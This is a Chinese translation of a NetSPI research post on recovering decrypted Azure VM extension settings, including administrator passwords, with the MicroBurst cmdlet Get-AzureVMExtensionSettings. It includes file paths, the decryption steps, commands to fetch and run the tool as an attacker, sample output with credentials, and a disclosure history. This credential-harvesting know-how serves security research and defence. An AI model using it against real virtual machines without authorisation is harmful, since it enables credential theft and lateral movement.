导语:如果你是 Azure 虚拟机上的本地管理员,从 MicroBurst 运行 Get-AzureVMExtensionSettings 脚本来解密虚拟机扩展设置,并可能查看敏感参数、存储帐户密钥和本地管理员用户名和密码。
如果你是 Azure 虚拟机上的本地管理员,从 MicroBurst 运行 Get-AzureVMExtensionSettings 脚本来解密虚拟机扩展设置,并可能查看敏感参数、存储帐户密钥和本地管理员用户名和密码。
概览
Azure 基础架构需要一种机制来与虚拟机进行通信和控制。 所有 Azure Marketplace 镜像都为此安装了 Azure 虚拟机代理(VM Agent)。 Azure 预先将一些可执行任务打包为 VM 扩展。 VM 代理从 Azure 基础设施下载扩展,执行它们,并发送回结果。 每个扩展的设置和配置都保存到磁盘中,这些设置中的任何潜在敏感信息都会被加密。
我们开发的 MicroBurst 存储库中新添加的 Get-AzureVMExtensionSettings PowerShell cmdlet 试图解密和报告从先前执行的 VM 扩展中保存的所有可用配置信息。 根据 VM 扩展在 VM 中的使用情况,这个配置可能包含敏感的命令参数、存储帐户密钥,甚至是管理员用户名和密码。
背景
Azure Fabric 控制器充当实际数据中心硬件和各种 Windows Azure 服务之间的中间件。 它负责数据中心资源分配 / 供应和服务的健康 / 生命周期管理。
在 Azure VM 中,VM 代理“管理 Azure VM 和 Azure Fabric 控制器之间的交互。 VM 代理负责部署和管理 Azure VM 的许多功能方面,包括运行 VM 扩展。” 扩展包通过私有 IP 168.63.129.16 上的特权通道从 Fabric Controller 下载
扩展的 .settings 文件
下载扩展包时,必要的文件存储在 VM 的文件系统中:
C:\Packages\Plugins\\\
例如, CustomScriptExtension’s 的文件将被保存为:
C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\1.10.5\
这个目录存储二进制文件、部署脚本、状态日志等等,最重要的是,它还存储配置信息。
对于每个扩展,所需的确切信息是不同的,但是对于所有扩展,这种配置都以相同的格式存储。 配置信息以 JSON 对象的形式存储在以下路径:
C:\Packages\Plugins\\\RuntimeSettings\.settings
For example, the CustomScriptExtension would store its settings file at the following path:
例如,customscriptestension 将其设置文件存储在以下路径:
C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\1.10.5\RuntimeSettings\0.settings
分析敏感信息的设置
每个扩展的.settings 文件具有以下结构:
{ "runtimeSettings": [ { "handlerSettings": { "protectedSettingsCertThumbprint": ", "protectedSettings": "Base64-Encoded Encrypted Settings", "publicSettings": { } } } ] }
这些设置是特定于每个扩展的,但我们有兴趣查看存储潜在敏感信息的“protectedSettings”的内容。
Get-AzureVMPluginSettings cmdlet 通过以下步骤检索此信息
1. 查找虚拟机上每个扩展的所有 .settings 文件
2. 对每个设置文件应用以下步骤:
a.如果. settings 文件具有有效的“ protectedSettingsCertThumbprint”值,可以在 VM 上找到相应的证书
b.如果找到证书并且其私钥可访问,则解密“ protectedSettings”值
c.输出经解密的“ protectedSettings”值以及.settings 文件中的其余信息
这使我们可以轻松地查看“protectedSettings”的明文值,如果 cmdlet 可以识别相应的证书的话。
辅助设置位置
这个 .settings 文件在 C:\Packages\Plugins\ 中的设置文件非常有用,但并不总是完整的。 例如,VMAccess 扩展(在 VM 上重置管理员凭据)截断其 .settings 文件作为其执行的一部分。 此外,有时候“protectedSettingsCertThumbprint”值会引用一个已经在 VM 上不可用的证书。 在这些情况下,我们不能恢复“protectedSettings”值中的敏感配置信息。
但是,有一个变通办法! 我们发现,这些 .settings 文件的 JSON 内容也被复制到以下路径的 ZIP 文件中的 XML 文件中:
C:\WindowsAzure\CollectGuestLogsTemp\.zip\Config\WireServerRoleExtensionsConfig__.xml
这个 XML 文件的内容与当前的加密证书保持一致,并根据需要重新加密。 这意味着证书应该始终在 VM 上可用,并准备好对“protectedSettings”值进行解密。 此外,不对 XML 文件中的设置进行编校。 这意味着我们可以解密包含管理员用户名和密码的 VMAccess 扩展的设置。 这个 XML 文件唯一的缺点是,它似乎只包含每个扩展的最新执行信息。 这对 VMAccess 扩展很好(因为我们最感兴趣的是最新的用户名和密码) ,但对 RunCommand 扩展不太有帮助(在那里我们可能也想看到过去的执行)。
攻击场景环境设置
让我们演示一下 cmdlet 的用法: 首先充当 Azure Admin,在 VM 上通过扩展(运行命令并重置管理员凭据)执行一些操作,并创建脆弱环境,然后充当攻击者,使用 Get-AzureVMExtensionSettings 检索敏感信息。
通过 RunCommand 扩展执行脚本
假设我们是一个 Azure 管理员,负责使用现有的管理员凭证将一个虚拟机加入到一个域中。 有几种方法可以实现这一点,但是一个诱人的简单方法是通过使用 RunCommand 特性的 PowerShell 脚本来实现这一点。 尽管违背了最佳实践,但是管理员凭据可以作为参数传递给脚本。 我们可能认为我们受到了保护,因为脚本参数被加密并存储在“protectedSettings”中
使用 Azure Cloud Shell,该命令如下所示:
PS Azure:\> az vm run-command invoke --command-id RunPowerShellScript --name
一旦命令执行,目标 VM 上的 VM 代理将从 Azure Fabric 控制器中提取 RunCommand 扩展。 它将创建一个 .settings 文件中的路径如下:
C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\1.1.3\RuntimeSettings\0.settings
这些设置也被复制到 WireServerRoleExtensionsConfig_ 文件中,这个文件在前面提及过的 ZIP 文件中。 指定的 PowerShell 脚本将由 VM 代理执行,VM 将加入域。
通过 VMAccess 扩展重置管理员凭据
假设我们还需要重置 VM 的管理员凭据。 这可以通过 Portal 或 PowerShell 以图形方式完成。 无论哪种情况,此功能都利用 VMAccess 扩展来完成 VM 上的任务。 在管理员运行命令时,我们只需为 VM 管理员帐户提供一个新的用户名和密码。 VMAccess 扩展将更新 VM 上的 Administrator 凭据,并创建一个空凭据。 设置文件中的路径如下:
C:\Packages\Plugins\Microsoft.Compute.VMAccessAgent\2.4.5\RuntimeSettings\0.settings
这个空文件对于攻击者没有用处,但是未编校的设置被复制到 WireServerRoleExtensionsConfig_ 文件中。
作为攻击者运行 Get-AzureVMExtensionSettings
现在让我们将角色切换到攻击者。 我们假设我们已经获得了对 VM 的管理员访问权限(可能是通过拥有 Contributor 角色或被攻击的特权服务) ,并且我们可以运行 PowerShell 命令。 要使用 Get-AzureVMExtensionSettings cmdlet,我们将首先下载并提取 MicroBurst repo 的最新副本。
PS C:\ > Invoke-WebRequest https://github.com/NetSPI/MicroBurst/archive/master.zip -OutFile C:\tmp\mb.zip PS C:\> Expand-Archive C:\tmp\mb.zip -DestinationPath C:\tmp\
如果我们想要完整的 MicroBurst 功能,我们可以导入顶级的 MicroBurst.psm1模块。 在我们的示例中,我们只需要运行单个脚本,因此我们将直接导入它。 让我们导入、运行并调查结果。
PS C:\> Import-Module C:\tmp\MicroBurst-master\Misc\Get-AzureVMExtensionSettings.ps1 PS C:\ > Get-AzureVMExtensionSettings FullFileName : C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\1.1.3\RuntimeSettings\0.settings ProtectedSettingsCertThumbprint : CFE7419... ProtectedSettings : MIICUgYJKoZIhvc... ProtectedSettingsDecrypted : {"parameters":[{"name":"user","value":"admin"},{"name":"password","value":"secret-password"}]} PublicSettings : {"script": …} … FileName: C:\WindowsAzure\CollectGuestLogsTemp\491f155a-5a14-4fb2-8aad-08598b61f6c9.zip\Config\ WireServerRoleExtensionsConfig_b4817d34-70d7-4e8f-bee6-6b8eea40aef7._MGITest.xml ExtensionName: Microsoft.Compute.VMAccessAgent ProtectedSettingsCertThumbprint : F67D19B6F4C1E1C1947AF9B4B08AFC9EAED9CBB2 ProtectedSettings: MIIB0AYJK… ProtectedSettingsDecrypted: {"Password":"MySecretPassword!"} PublicSettings: {"UserName":"MyAdministrator"}
在上面的输出中,我们可以看到Get-AzureVMExtensionSettings cmdlet从RunCommand扩展的 .settings 文件返回解密参数,从VMAccess扩展的设置返回存储在ZIP中的XML文件的管理员凭证。
有了这些信息,我们可以进一步转向域或 Azure 环境,扩展到其他 VM、存储帐户等等。
cmdlet 将返回以前应用的 VM 扩展中的所有可用设置信息,即使脚本无法正确解密 protectedSettings 字段。
cmdlet 还可以通过管道将结果输入标准 Export-CSV cmdlet 来生成 CSV 结果,如下所示:Get-AzureVMExtensionSettings | Export-CSV -Path C:\tmp\results.csv。输出的 results.csv 对于处理的每个扩展都有一行。
先前的研究工作
2018年,Guardicore 发布了一个博客和相应的工具,使用了这项技术。 他们的攻击目标是 VMAccess 扩展的特定版本,该扩展可用于重置 VM 上的管理员凭据。 如前所述,VMAccess扩展最近的更新通过在扩展完成其任务后清除 .settings 文件的内容缓解了这一问题。Get-AzureVMExtensionSettings通过分析所有扩展提供了一个更广泛的范围,包括次要的设置位置,绕过了微软的限制。
负责任的披露
本文中讨论的问题在2020年1月22日被报告给微软安全响应中心(MSRC) ,包括步骤和样本代码复制。 案件编号为 VULN-015273和 VULN-015274。 在了解到该漏洞需要 VM 上的管理员权限之后,这些案件以下列评论结束:
我们的团队调查了这个问题,但这并不符合 MSRC 提供服务的标准,因为这需要更高的特权。 因此,我们关闭了这个case。
鸣谢
非常感谢 Karl Fosaaen 建议我们深入研究这个功能并通过 MSRC 进程提供支持。
本文翻译自:https://blog.netspi.com/decrypting-azure-vm-extension-settings-with-get-azurevmextensionsettings/如若转载,请注明原文地址